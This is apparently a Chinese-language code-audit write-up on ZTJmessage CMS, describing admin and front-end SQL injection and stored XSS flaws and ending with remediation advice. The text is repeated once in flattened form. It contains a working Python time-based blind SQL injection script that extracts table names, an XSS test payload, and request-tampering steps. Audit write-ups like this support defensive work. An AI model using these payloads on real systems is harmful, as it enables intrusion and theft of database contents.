关于ZTJmessage cms的代码审计
字数 1548 2025-08-29 08:32:24

ZTJmessage CMS 代码审计深度分析

0x01 审计准备

工具与环境

  • 审计工具:Seay源码审计工具
  • 审计原则:从配置文件入手,逐步分析入口文件和核心功能

框架基础分析

  1. 核心配置文件

    • 定义了基本类结构
    • 载入了输入库文件和所有控制器类
    • 实例化了两个关键类:
      • adminlogin
      • userrequest
  2. 安全函数分析 (safety.fun.php):

    • SQL注入防护
      • 先进行去除斜杠处理
      • 对非数字输入自动加引号
    • XSS防护
      • 直接进行本地测试验证
    • 整数判断与SQL过滤
      • 检查输入是否在预定义的 $string_var
      • 包含单引号等特殊字符时返回 false

0x02 漏洞分析

1. 后台SQL注入漏洞

漏洞位置admin/index.php

利用条件

  • 需要管理员权限
  • 访问 edituser 功能点

漏洞成因

  1. 包含 common.php 文件并实例化 AdminControl
  2. 执行流程:
    • 判断传入的 location 参数
    • 调用 menu 方法获取用户权限
    • 包含 /admin/edituser.Menu.php
  3. 关键问题:
    • id 参数未经任何过滤直接传入 sel 方法
    • sel 方法未对输入进行过滤

利用方式:时间盲注

利用脚本

import requests
import time

url = "http://127.0.0.1/ZTJmessage/admin/index.php?location=edituser&id="
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
    "Cookie": "PHPSESSID=eke4v1b953niu1gdf9e5hr5gq4"
}

i = 0
flag = ''
while True:
    i = i+1
    head = 32
    tail = 128
    while head < tail:
        mid = (head+tail)/2
        # 获取数据库名
        # payload = "-1' or if(ascii(substr((database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
        # 获取表名
        payload = "-1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
        url1 = url+payload
        print(url1)
        times = time.time()
        re = requests.get(url1, headers=header)
        timee = time.time()
        if timee-times > 2:
            head = mid+1
        else:
            tail = mid
    if(head != 32):
        flag += chr(head)
        print(flag)
    else:
        break

2. 存储型XSS漏洞

漏洞位置upsiteinfo 功能

利用流程

  1. 访问后台站点信息设置
  2. 在统计代码 (stat_code) 字段插入XSS payload
  3. 漏洞成因:
    • 输入仅经过 toUTF-8addslanshes_d 方法处理
    • addslanshes_d 仅进行转义,未过滤XSS标签

验证方法
插入经典XSS语句:<script>alert(1)</script>
前端查看是否成功弹窗

3. 前台留言板SQL注入

漏洞位置:留言回复功能

利用条件

  • 需要前台留言板操作权限
  • 利用 reply 功能

漏洞成因

  1. 控制器 replyAction.class.php 处理用户输入
  2. ReplyContent 字段仅经过:
    • ToUtf8 编码转换
    • checkok 方法(实际未进行有效检查)
  3. 直接使用 update 方法执行SQL查询

利用方式

  1. 使用Burp Suite拦截留言回复请求
  2. 修改 ReplyContent 参数为注入语句
  3. 注意需要从返回包中获取 Replyinputkey 用于后续请求

4. 前台公告XSS漏洞

漏洞位置:百度富文本编辑器

利用方法

  1. 通过抓包工具删除富文本中的 p 标签
  2. 插入XSS payload实现绕过

验证方法
插入XSS代码后查看是否成功弹窗

0x03 防护建议

  1. 输入过滤

    • 对所有用户输入进行严格过滤
    • 使用预编译语句防止SQL注入
    • 实现全面的XSS过滤函数
  2. 权限控制

    • 加强后台权限验证
    • 实现最小权限原则
  3. 安全函数改进

    • 完善 checkok 方法的实际检查功能
    • addslanshes_d 方法中加入XSS过滤
  4. 富文本编辑器

    • 更新到最新版本
    • 实现内容安全策略(CSP)

0x04 审计经验总结

  1. 审计流程

    • 从配置文件入手
    • 跟踪用户输入流程
    • 重点检查数据库操作和输出显示
  2. 时间投入

    • 完整审计约需1-2天时间
    • 需要耐心跟踪代码执行流程
  3. 学习建议

    • 多分析已公开的CMS漏洞
    • 建立系统的审计方法论
    • 保持对新型漏洞的关注

通过本次审计,我们发现了ZTJmessage CMS中存在的多个安全漏洞,涵盖了SQL注入、存储型XSS等多种类型,这些漏洞的发现和修复对于提高系统安全性具有重要意义。

ZTJmessage CMS 代码审计深度分析 0x01 审计准备 工具与环境 审计工具 :Seay源码审计工具 审计原则 :从配置文件入手,逐步分析入口文件和核心功能 框架基础分析 核心配置文件 : 定义了基本类结构 载入了输入库文件和所有控制器类 实例化了两个关键类: adminlogin 类 userrequest 类 安全函数分析 ( safety.fun.php ): SQL注入防护 : 先进行去除斜杠处理 对非数字输入自动加引号 XSS防护 : 直接进行本地测试验证 整数判断与SQL过滤 : 检查输入是否在预定义的 $string_var 中 包含单引号等特殊字符时返回 false 0x02 漏洞分析 1. 后台SQL注入漏洞 漏洞位置 : admin/index.php 利用条件 : 需要管理员权限 访问 edituser 功能点 漏洞成因 : 包含 common.php 文件并实例化 AdminControl 类 执行流程: 判断传入的 location 参数 调用 menu 方法获取用户权限 包含 /admin/edituser.Menu.php 关键问题: id 参数未经任何过滤直接传入 sel 方法 sel 方法未对输入进行过滤 利用方式 :时间盲注 利用脚本 : 2. 存储型XSS漏洞 漏洞位置 : upsiteinfo 功能 利用流程 : 访问后台站点信息设置 在统计代码 ( stat_code ) 字段插入XSS payload 漏洞成因: 输入仅经过 toUTF-8 和 addslanshes_d 方法处理 addslanshes_d 仅进行转义,未过滤XSS标签 验证方法 : 插入经典XSS语句: <script>alert(1)</script> 前端查看是否成功弹窗 3. 前台留言板SQL注入 漏洞位置 :留言回复功能 利用条件 : 需要前台留言板操作权限 利用 reply 功能 漏洞成因 : 控制器 replyAction.class.php 处理用户输入 ReplyContent 字段仅经过: ToUtf8 编码转换 checkok 方法(实际未进行有效检查) 直接使用 update 方法执行SQL查询 利用方式 : 使用Burp Suite拦截留言回复请求 修改 ReplyContent 参数为注入语句 注意需要从返回包中获取 Replyinputkey 用于后续请求 4. 前台公告XSS漏洞 漏洞位置 :百度富文本编辑器 利用方法 : 通过抓包工具删除富文本中的 p 标签 插入XSS payload实现绕过 验证方法 : 插入XSS代码后查看是否成功弹窗 0x03 防护建议 输入过滤 : 对所有用户输入进行严格过滤 使用预编译语句防止SQL注入 实现全面的XSS过滤函数 权限控制 : 加强后台权限验证 实现最小权限原则 安全函数改进 : 完善 checkok 方法的实际检查功能 在 addslanshes_d 方法中加入XSS过滤 富文本编辑器 : 更新到最新版本 实现内容安全策略(CSP) 0x04 审计经验总结 审计流程 : 从配置文件入手 跟踪用户输入流程 重点检查数据库操作和输出显示 时间投入 : 完整审计约需1-2天时间 需要耐心跟踪代码执行流程 学习建议 : 多分析已公开的CMS漏洞 建立系统的审计方法论 保持对新型漏洞的关注 通过本次审计,我们发现了ZTJmessage CMS中存在的多个安全漏洞,涵盖了SQL注入、存储型XSS等多种类型,这些漏洞的发现和修复对于提高系统安全性具有重要意义。